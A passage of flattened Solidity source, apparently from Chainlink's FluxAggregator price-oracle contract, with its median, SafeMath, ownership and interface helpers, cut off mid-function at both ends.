(_a > 0 && _b < 0)) { return add(_a, _b) / 2; } int256 remainder = (_a % 2 + _b % 2) / 2; return add(add(_a / 2, _b / 2), remainder); } } library Median { using SignedSafeMath for int256; int256 constant INT_MAX = 2**255-1; /** * @notice Returns the sorted middle, or the average of the two middle indexed items if the * array has an even number of elements. * @dev The list passed as an argument isn't modified. * @dev This algorithm has expected runtime O(n), but for adversarially chosen inputs * the runtime is O(n^2). * @param list The list of elements to compare */ function calculate(int256[] memory list) internal pure returns (int256) { return calculateInplace(copy(list)); } /** * @notice See documentation for function calculate. * @dev The list passed as an argument may be permuted. */ function calculateInplace(int256[] memory list) internal pure returns (int256) { require(0 < list.length, "list must not be empty"); uint256 len = list.length; uint256 middleIndex = len / 2; if (len % 2 == 0) { int256 median1; int256 median2; (median1, median2) = quickselectTwo(list, 0, len - 1, middleIndex - 1, middleIndex); return SignedSafeMath.avg(median1, median2); } else { return quickselect(list, 0, len - 1, middleIndex); } } /** * @notice Maximum length of list that shortSelectTwo can handle */ uint256 constant SHORTSELECTTWO_MAX_LENGTH = 7; /** * @notice Select the k1-th and k2-th element from list of length at most 7 * @dev Uses an optimal sorting network */ function shortSelectTwo( int256[] memory list, uint256 lo, uint256 hi, uint256 k1, uint256 k2 ) private pure returns (int256 k1th, int256 k2th) { // Uses an optimal sorting network (https://en.wikipedia.org/wiki/Sorting_network) // for lists of length 7. Network layout is taken from // http://jgamble.ripco.net/cgi-bin/nw.cgi?inputs=7&algorithm=hibbard&output=svg uint256 len = hi + 1 - lo; int256 x0 = list[lo + 0]; int256 x1 = 1 < len ? list[lo + 1] : INT_MAX; int256 x2 = 2 < len ? list[lo + 2] : INT_MAX; int256 x3 = 3 < len ? list[lo + 3] : INT_MAX; int256 x4 = 4 < len ? list[lo + 4] : INT_MAX; int256 x5 = 5 < len ? list[lo + 5] : INT_MAX; int256 x6 = 6 < len ? list[lo + 6] : INT_MAX; if (x0 > x1) {(x0, x1) = (x1, x0);} if (x2 > x3) {(x2, x3) = (x3, x2);} if (x4 > x5) {(x4, x5) = (x5, x4);} if (x0 > x2) {(x0, x2) = (x2, x0);} if (x1 > x3) {(x1, x3) = (x3, x1);} if (x4 > x6) {(x4, x6) = (x6, x4);} if (x1 > x2) {(x1, x2) = (x2, x1);} if (x5 > x6) {(x5, x6) = (x6, x5);} if (x0 > x4) {(x0, x4) = (x4, x0);} if (x1 > x5) {(x1, x5) = (x5, x1);} if (x2 > x6) {(x2, x6) = (x6, x2);} if (x1 > x4) {(x1, x4) = (x4, x1);} if (x3 > x6) {(x3, x6) = (x6, x3);} if (x2 > x4) {(x2, x4) = (x4, x2);} if (x3 > x5) {(x3, x5) = (x5, x3);} if (x3 > x4) {(x3, x4) = (x4, x3);} uint256 index1 = k1 - lo; if (index1 == 0) {k1th = x0;} else if (index1 == 1) {k1th = x1;} else if (index1 == 2) {k1th = x2;} else if (index1 == 3) {k1th = x3;} else if (index1 == 4) {k1th = x4;} else if (index1 == 5) {k1th = x5;} else if (index1 == 6) {k1th = x6;} else {revert("k1 out of bounds");} uint256 index2 = k2 - lo; if (k1 == k2) {return (k1th, k1th);} else if (index2 == 0) {return (k1th, x0);} else if (index2 == 1) {return (k1th, x1);} else if (index2 == 2) {return (k1th, x2);} else if (index2 == 3) {return (k1th, x3);} else if (index2 == 4) {return (k1th, x4);} else if (index2 == 5) {return (k1th, x5);} else if (index2 == 6) {return (k1th, x6);} else {revert("k2 out of bounds");} } /** * @notice Selects the k-th ranked element from list, looking only at indices between lo and hi * (inclusive). Modifies list in-place. */ function quickselect(int256[] memory list, uint256 lo, uint256 hi, uint256 k) private pure returns (int256 kth) { require(lo <= k); require(k <= hi); while (lo < hi) { if (hi - lo < SHORTSELECTTWO_MAX_LENGTH) { int256 ignore; (kth, ignore) = shortSelectTwo(list, lo, hi, k, k); return kth; } uint256 pivotIndex = partition(list, lo, hi); if (k <= pivotIndex) { // since pivotIndex < (original hi passed to partition), // termination is guaranteed in this case hi = pivotIndex; } else { // since (original lo passed to partition) <= pivotIndex, // termination is guaranteed in this case lo = pivotIndex + 1; } } return list[lo]; } /** * @notice Selects the k1-th and k2-th ranked elements from list, looking only at indices between * lo and hi (inclusive). Modifies list in-place. */ function quickselectTwo( int256[] memory list, uint256 lo, uint256 hi, uint256 k1, uint256 k2 ) internal // for testing pure returns (int256 k1th, int256 k2th) { require(k1 < k2); require(lo <= k1 && k1 <= hi); require(lo <= k2 && k2 <= hi); while (true) { if (hi - lo < SHORTSELECTTWO_MAX_LENGTH) { return shortSelectTwo(list, lo, hi, k1, k2); } uint256 pivotIdx = partition(list, lo, hi); if (k2 <= pivotIdx) { hi = pivotIdx; } else if (pivotIdx < k1) { lo = pivotIdx + 1; } else { assert(k1 <= pivotIdx && pivotIdx < k2); k1th = quickselect(list, lo, pivotIdx, k1); k2th = quickselect(list, pivotIdx + 1, hi, k2); return (k1th, k2th); } } } /** * @notice Partitions list in-place using Hoare's partitioning scheme. * Only elements of list between indices lo and hi (inclusive) will be modified. * Returns an index i, such that: * - lo <= i < hi * - forall j in [lo, i]. list[j] <= list[i] * - forall j in [i, hi]. list[i] <= list[j] */ function partition(int256[] memory list, uint256 lo, uint256 hi) private pure returns (uint256) { // We don't care about overflow of the addition, because it would require a list // larger than any feasible computer's memory. int256 pivot = list[(lo + hi) / 2]; lo -= 1; // this can underflow. that's intentional. hi += 1; while (true) { do { lo += 1; } while (list[lo] < pivot); do { hi -= 1; } while (list[hi] > pivot); if (lo < hi) { (list[lo], list[hi]) = (list[hi], list[lo]); } else { // Let orig_lo and orig_hi be the original values of lo and hi passed to partition. // Then, hi < orig_hi, because hi decreases *strictly* monotonically // in each loop iteration and // - either list[orig_hi] > pivot, in which case the first loop iteration // will achieve hi < orig_hi; // - or list[orig_hi] <= pivot, in which case at least two loop iterations are // needed: // - lo will have to stop at least once in the interval // [orig_lo, (orig_lo + orig_hi)/2] // - (orig_lo + orig_hi)/2 < orig_hi return hi; } } } /** * @notice Makes an in-memory copy of the array passed in * @param list Reference to the array to be copied */ function copy(int256[] memory list) private pure returns(int256[] memory) { int256[] memory list2 = new int256[](list.length); for (uint256 i = 0; i < list.length; i++) { list2[i] = list[i]; } return list2; } } /** * @title The Owned contract * @notice A contract with helpers for basic contract ownership. */ contract Owned { address public owner; address private pendingOwner; event OwnershipTransferRequested( address indexed from, address indexed to ); event OwnershipTransferred( address indexed from, address indexed to ); constructor() public { owner = msg.sender; } /** * @dev Allows an owner to begin transferring ownership to a new address, * pending. */ function transferOwnership(address _to) external onlyOwner() { pendingOwner = _to; emit OwnershipTransferRequested(owner, _to); } /** * @dev Allows an ownership transfer to be completed by the recipient. */ function acceptOwnership() external { require(msg.sender == pendingOwner, "Must be proposed owner"); address oldOwner = owner; owner = msg.sender; pendingOwner = address(0); emit OwnershipTransferred(oldOwner, msg.sender); } /** * @dev Reverts if called by anyone other than the contract owner. */ modifier onlyOwner() { require(msg.sender == owner, "Only callable by owner"); _; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * This library is a version of Open Zeppelin's SafeMath, modified to support * unsigned 128 bit integers. */ library SafeMath128 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint128 a, uint128 b) internal pure returns (uint128) { require(b <= a, "SafeMath: subtraction overflow"); uint128 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint128 a, uint128 b) internal pure returns (uint128) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint128 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint128 a, uint128 b) internal pure returns (uint128) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint128 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint128 a, uint128 b) internal pure returns (uint128) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * This library is a version of Open Zeppelin's SafeMath, modified to support * unsigned 32 bit integers. */ library SafeMath32 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint32 a, uint32 b) internal pure returns (uint32) { require(b <= a, "SafeMath: subtraction overflow"); uint32 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint32 a, uint32 b) internal pure returns (uint32) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint32 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint32 a, uint32 b) internal pure returns (uint32) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint32 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint32 a, uint32 b) internal pure returns (uint32) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * This library is a version of Open Zeppelin's SafeMath, modified to support * unsigned 64 bit integers. */ library SafeMath64 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint64 a, uint64 b) internal pure returns (uint64) { uint64 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint64 a, uint64 b) internal pure returns (uint64) { require(b <= a, "SafeMath: subtraction overflow"); uint64 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint64 a, uint64 b) internal pure returns (uint64) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint64 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint64 a, uint64 b) internal pure returns (uint64) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint64 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint64 a, uint64 b) internal pure returns (uint64) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt); event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt); } interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface { } interface AggregatorValidatorInterface { function validate( uint256 previousRoundId, int256 previousAnswer, uint256 currentRoundId, int256 currentAnswer ) external returns (bool); } interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); } /** * @title The Prepaid Aggregator contract * @notice Handles aggregating data pushed in from off-chain, and unlocks * payment for oracles as they report. Oracles' submissions are gathered in * rounds, with each round aggregating the submissions for each oracle into a * single answer. The latest aggregated answer is exposed as well as historical * answers and their updated at timestamp. */ contract FluxAggregator is AggregatorV2V3Interface, Owned { using SafeMath for uint256; using SafeMath128 for uint128; using SafeMath64 for uint64; using SafeMath32 for uint32; struct Round { int256 answer; uint64 startedAt; uint64 updatedAt; uint32 answeredInRound; } struct RoundDetails { int256[] submissions; uint32 maxSubmissions; uint32 minSubmissions; uint32 timeout; uint128 paymentAmount; } struct OracleStatus { uint128 withdrawable; uint32 startingRound; uint32 endingRound; uint32 lastReportedRound; uint32 lastStartedRound; int256 latestSubmission; uint16 index; address admin; address pendingAdmin; } struct Requester { bool authorized; uint32 delay; uint32 lastStartedRound; } struct Funds { uint128 available; uint128 allocated; } LinkTokenInterface public linkToken; AggregatorValidatorInterface public validator; // Round related params uint128 public paymentAmount; uint32 public maxSubmissionCount; uint32 public minSubmissionCount; uint32 public restartDelay; uint32 public timeout; uint8 public override decimals; string public override description; int256 immutable public minSubmissionValue; int256 immutable public maxSubmissionValue; uint256 constant public override version = 3; /** * @notice To ensure owner isn't withdrawing required funds as oracles are * submitting updates, we enforce that the contract maintains a minimum * reserve of RESERVE_ROUNDS * oracleCount() LINK earmarked for payment to * oracles. (Of course, this doesn't prevent the contract from running out of * funds without the owner's intervention.) */ uint256 constant private RESERVE_ROUNDS = 2; uint256 constant private MAX_ORACLE_COUNT = 77; uint32 constant private ROUND_MAX = 2**32-1; uint256 private constant VALIDATOR_GAS_LIMIT = 100000; // An error specific to the Aggregator V3 Interface, to prevent possible // confusion around accidentally reading unset values as reported values. string constant private V3_NO_DATA_ERROR = "No data present"; uint32 private reportingRoundId; uint32 internal latestRoundId; mapping(address => OracleStatus) private oracles; mapping(uint32 => Round) internal rounds; mapping(uint32 => RoundDetails) internal details; mapping(address => Requester) internal requesters; address[] private oracleAddresses; Funds private recordedFunds; event AvailableFundsUpdated( uint256 indexed amount ); event RoundDetailsUpdated( uint128 indexed paymentAmount, uint32 indexed minSubmissionCount, uint32 indexed maxSubmissionCount, uint32 restartDelay, uint32 timeout // measured in seconds ); event OraclePermissionsUpdated( address indexed oracle, bool indexed whitelisted ); event OracleAdminUpdated( address indexed oracle, address indexed newAdmin ); event OracleAdminUpdateRequested( address indexed oracle, address admin, address newAdmin ); event SubmissionReceived( int256 indexed submission, uint32 indexed round, address indexed oracle ); event RequesterPermissionsSet( address indexed requester, bool authorized, uint32 delay ); event ValidatorUpdated( address indexed previous, address indexed current ); /** * @notice set up the aggregator with initial configuration * @param _link The address of the LINK token * @param _paymentAmount The amount paid of LINK paid to each oracle per submission, in wei (units of 10⁻¹⁸ LINK) * @param _timeout is the number of seconds after the previous round that are * allowed to lapse before allowing an oracle to skip an unfinished round * @param _validator is an optional contract address for validating * external validation of answers * @param _minSubmissionValue is an immutable check for a lower bound of what * submission values are accepted from an oracle * @param _maxSubmissionValue is an immutable check for an upper bound of what * submission values are accepted from an oracle * @param _decimals represents the number of decimals to offset the answer by * @param _description a short description of what is being reported */ constructor( address _link, uint128 _paymentAmount, uint32 _timeout, address _validator, int256 _minSubmissionValue, int256 _maxSubmissionValue, uint8 _decimals, string memory _description ) public { linkToken = LinkTokenInterface(_link); updateFutureRounds(_paymentAmount, 0, 0, 0, _timeout); setValidator(_validator); minSubmissionValue = _minSubmissionValue; maxSubmissionValue = _maxSubmissionValue; decimals = _decimals; description = _description; rounds[0].updatedAt = uint64(block.timestamp.sub(uint256(_timeout))); } /** * @notice called by oracles when they have witnessed a need to update * @param _roundId is the ID of the round this submission pertains to * @param _submission is the updated data that the oracle is submitting */ function submit(uint256 _roundId, int256 _submission) external { bytes memory error = validateOracleRound(msg.sender, uint32(_roundId)); require(_submission >= minSubmissionValue, "value below minSubmissionValue"); require(_submission <= maxSubmissionValue, "value above maxSubmissionValue"); require(error.length == 0, string(error)); oracleInitializeNewRound(uint32(_roundId)); recordSubmission(_submission, uint32(_roundId)); (bool updated, int256 newAnswer) = updateRoundAnswer(uint32(_roundId)); payOracle(uint32(_roundId)); deleteRoundDetails(uint32(_roundId)); if (updated) { validateAnswer(uint32(_roundId), newAnswer); } } /** * @notice called by the owner to remove and add new oracles as well as * update the round related parameters that pertain to total oracle count * @param _removed is the list of addresses for the new Oracles being removed * @param _added is the list of addresses for the new Oracles being added * @param _addedAdmins is the admin addresses for the new respective _added * list. Only this address is allowed to access the respective oracle's funds * @param _minSubmissions is the new minimum submission count for each round * @param _maxSubmissions is the new maximum submission count for each round * @param _restartDelay is the number of rounds an Oracle has to wait before * they can initiate a round */ function changeOracles( address[] calldata _removed, address[] calldata _added, address[] calldata _addedAdmins, uint32 _minSubmissions, uint32 _maxSubmissions, uint32 _restartDelay ) external onlyOwner() { for (uint256 i = 0; i < _removed.length; i++) { removeOracle(_removed[i]); } require(_added.length == _addedAdmins.length, "need same oracle and admin count"); require(uint256(oracleCount()).add(_added.length) <= MAX_ORACLE_COUNT, "max oracles allowed"); for (uint256 i = 0; i < _added.length; i++) { addOracle(_added[i], _addedAdmins[i]); } updateFutureRounds(paymentAmount, _minSubmissions, _maxSubmissions, _restartDelay, timeout); } /** * @notice update the round and payment related parameters for subsequent * rounds * @param _paymentAmount is the payment amount for subsequent rounds * @param _minSubmissions is the new minimum submission count for each round * @param _maxSubmissions is the new maximum submission count for each round * @param _restartDelay is the number of rounds an Oracle has to wait before * they can initiate a round */ function updateFutureRounds( uint128 _paymentAmount, uint32 _minSubmissions, uint32 _maxSubmissions, uint32 _restartDelay, uint32 _timeout ) public onlyOwner() { uint32 oracleNum = oracleCount(); // Save on storage reads require(_maxSubmissions >= _minSubmissions, "max must equal/exceed min"); require(oracleNum >= _maxSubmissions, "max cannot exceed total"); require(oracleNum == 0 || oracleNum > _restartDelay, "delay cannot exceed total"); require(recordedFunds.available >= requiredReserve(_paymentAmount), "insufficient funds for payment"); if (oracleCount() > 0) { require(_minSubmissions > 0, "min must be greater than 0"); } paymentAmount = _paymentAmount; minSubmissionCount = _minSubmissions; maxSubmissionCount = _maxSubmissions; restartDelay = _restartDelay; timeout = _timeout; emit RoundDetailsUpdated( paymentAmount, _minSubmissions, _maxSubmissions, _restartDelay, _timeout ); } /** * @notice the amount of payment yet to be withdrawn by oracles */ function allocatedFunds() external view returns (uint128) { return recordedFunds.allocated; } /** * @notice the amount of future funding available to oracles */ function availableFunds() external view returns (uint128) { return recordedFunds.available; } /** * @notice recalculate the amount of LINK available for payouts */ function updateAvailableFunds() public { Funds memory funds = recordedFunds; uint256 nowAvailable = linkToken.balanceOf(address(this)).sub(funds.allocated); if (funds.available != nowAvailable) { recordedFunds.available = uint128(nowAvailable); emit AvailableFundsUpdated(nowAvailable); } } /** * @notice returns the number of oracles */ function oracleCount() public view returns (uint8) { return uint8(oracleAddresses.length); } /** * @notice returns an array of addresses containing the oracles on contract */ function getOracles() external view returns (address[] memory) { return oracleAddresses; } /** * @notice get the most recently reported answer * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestAnswer() public view virtual override returns (int256) { return rounds[latestRoundId].answer; } /** * @notice get the most recent updated at timestamp * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestTimestamp() public view virtual override returns (uint256) { return rounds[latestRoundId].updatedAt; } /** * @notice get the ID of the last updated round * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestRound() public view virtual override returns (uint256) { return latestRoundId; } /** * @notice get past rounds answers * @param _roundId the round number to retrieve the answer for * * @dev #[deprecated] Use getRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getAnswer(uint256 _roundId) public view virtual override returns (int256) { if (validRoundId(_roundId)) { return rounds[uint32(_roundId)].answer; } return 0; } /** * @notice get timestamp when an answer was last updated * @param _roundId the round number to retrieve the updated timestamp for * * @dev #[deprecated] Use getRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getTimestamp(uint256 _roundId) public view virtual override returns (uint256) { if (validRoundId(_roundId)) { return rounds[uint32(_roundId)].updatedAt; } return 0; } /** * @notice get data about a round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * @param _roundId the round ID to retrieve the round data for * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. This is 0 * if the round hasn't been started yet. * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. answeredInRound may be smaller than roundId when the round * timed out. answeredInRound is equal to roundId when the round didn't time out * and was completed regularly. * @dev Note that for in-progress rounds (i.e. rounds that haven't yet received * maxSubmissions) answer and updatedAt may change between queries. */ function getRoundData(uint80 _roundId) public view virtual override returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { Round memory r = rounds[uint32(_roundId)]; require(r.answeredInRound > 0 && validRoundId(_roundId), V3_NO_DATA_ERROR); return ( _roundId, r.answer, r.startedAt, r.updatedAt, r.answeredInRound ); } /** * @notice get data about the latest round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. Consumers are encouraged to * use this more fully featured method over the "legacy" latestRound/ * latestAnswer/latestTimestamp functions. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. This is 0 * if the round hasn't been started yet. * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. answeredInRound may be smaller than roundId when the round * timed out. answeredInRound is equal to roundId when the round didn't time * out and was completed regularly. * @dev Note that for in-progress rounds (i.e. rounds that haven't yet * received maxSubmissions) answer and updatedAt may change between queries. */ function latestRoundData() public view virtual override returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return getRoundData(latestRoundId); } /** * @notice query the available amount of LINK for an oracle to withdraw */ function withdrawablePayment(address _oracle) external view returns (uint256) { return oracles[_oracle].withdrawable; } /** * @notice transfers the oracle's LINK to another address. Can only be called * by the oracle's admin. * @param _oracle is the oracle whose LINK is transferred * @param _recipient is the address to send the LINK to * @param _amount is the amount of LINK to send */ function withdrawPayment(address _oracle, address _recipient, uint256 _amount) external { require(oracles[_oracle].admin == msg.sender, "only callable by admin"); // Safe to downcast _amount because the total amount of LINK is less than 2^128. uint128 amount = uint128(_amount); uint128 available = oracles[_oracle].withdrawable; require(available >= amount, "insufficient withdrawable funds"); oracles[_oracle].withdrawable = available.sub(amount); recordedFunds.allocated = recordedFunds.allocated.sub(amount); assert(linkToken.transfer(_recipient, uint256(amount))); } /** * @notice transfers the owner's LINK to another address * @param _recipient is the address to send the LINK to * @param _amount is the amount of LINK to send */ function withdrawFunds(address _recipient, uint256 _amount) external onlyOwner() { uint256 available = uint256(recordedFunds.available); require(available.sub(requiredReserve(paymentAmount)) >= _amount, "insufficient reserve funds"); require(linkToken.transfer(_recipient, _amount), "token transfer failed"); updateAvailableFunds(); } /** * @notice get the admin address of an oracle * @param _oracle is the address of the oracle whose admin is being queried */ function getAdmin(address _oracle) external view returns (address) { return oracles[_oracle].admin; } /** * @notice transfer the admin address for an oracle * @param _oracle is the address of the oracle whose admin is being transferred * @param _newAdmin is the new admin address */ function transferAdmin(address _oracle, address _newAdmin) external { require(oracles[_oracle].admin == msg.sender, "only callable by admin"); oracles[_oracle].pendingAdmin = _newAdmin; emit OracleAdminUpdateRequested(_oracle, msg.sender, _newAdmin); } /** * @notice accept the admin address transfer for an oracle * @param _oracle is the address of the oracle whose admin is being transferred */ function acceptAdmin(address _oracle) external { require(oracles[_oracle].pendingAdmin == msg.sender, "only callable by pending admin"); oracles[_oracle].pendingAdmin = address(0); oracles[_oracle].admin = msg.sender; emit OracleAdminUpdated(_oracle, msg.sender); } /** * @notice allows non-oracles to request a new round */ function requestNewRound() external returns (uint80) { require(requesters[msg.sender].authorized, "not authorized requester"); uint32 current = reportingRoundId; require(rounds[current].updatedAt > 0 || timedOut(current), "prev round must be supersedable"); uint32 newRoundId = current.add(1); requesterInitializeNewRound(newRoundId); return newRoundId; } /** * @notice allows the owner to specify new non-oracles to start new rounds * @param _requester is the address to set permissions for * @param _authorized is a boolean specifying whether they can start new rounds or not * @param _delay is the number of rounds the requester must wait before starting another round */ function setRequesterPermissions(address _requester, bool _authorized, uint32 _delay) external onlyOwner() { if (requesters[_requester].authorized == _authorized) return; if (_authorized) { requesters[_requester].authorized = _authorized; requesters[_requester].delay = _delay; } else { delete requesters[_requester]; } emit RequesterPermissionsSet(_requester, _authorized, _delay); } /** * @notice called through LINK's transferAndCall to update available funds * in the same transaction as the funds were transferred to the aggregator * @param _data is mostly ignored. It is checked for length, to be sure * nothing strange is passed in. */ function onTokenTransfer(address, uint256, bytes calldata _data) external { require(_data.length == 0, "transfer doesn't accept calldata"); updateAvailableFunds(); } /** * @notice a method to provide all current info oracles need. Intended only * only to be callable by oracles. Not for use by contracts to read state. * @param _oracle the address to look up information for. */ function oracleRoundState(address _oracle, uint32 _queriedRoundId) external view returns ( bool _eligibleToSubmit, uint32 _roundId, int256 _latestSubmission, uint64 _startedAt, uint64 _timeout, uint128 _availableFunds, uint8 _oracleCount, uint128 _paymentAmount ) { require(msg.sender == tx.origin, "off-chain reading only"); if (_queriedRoundId > 0) { Round storage round = 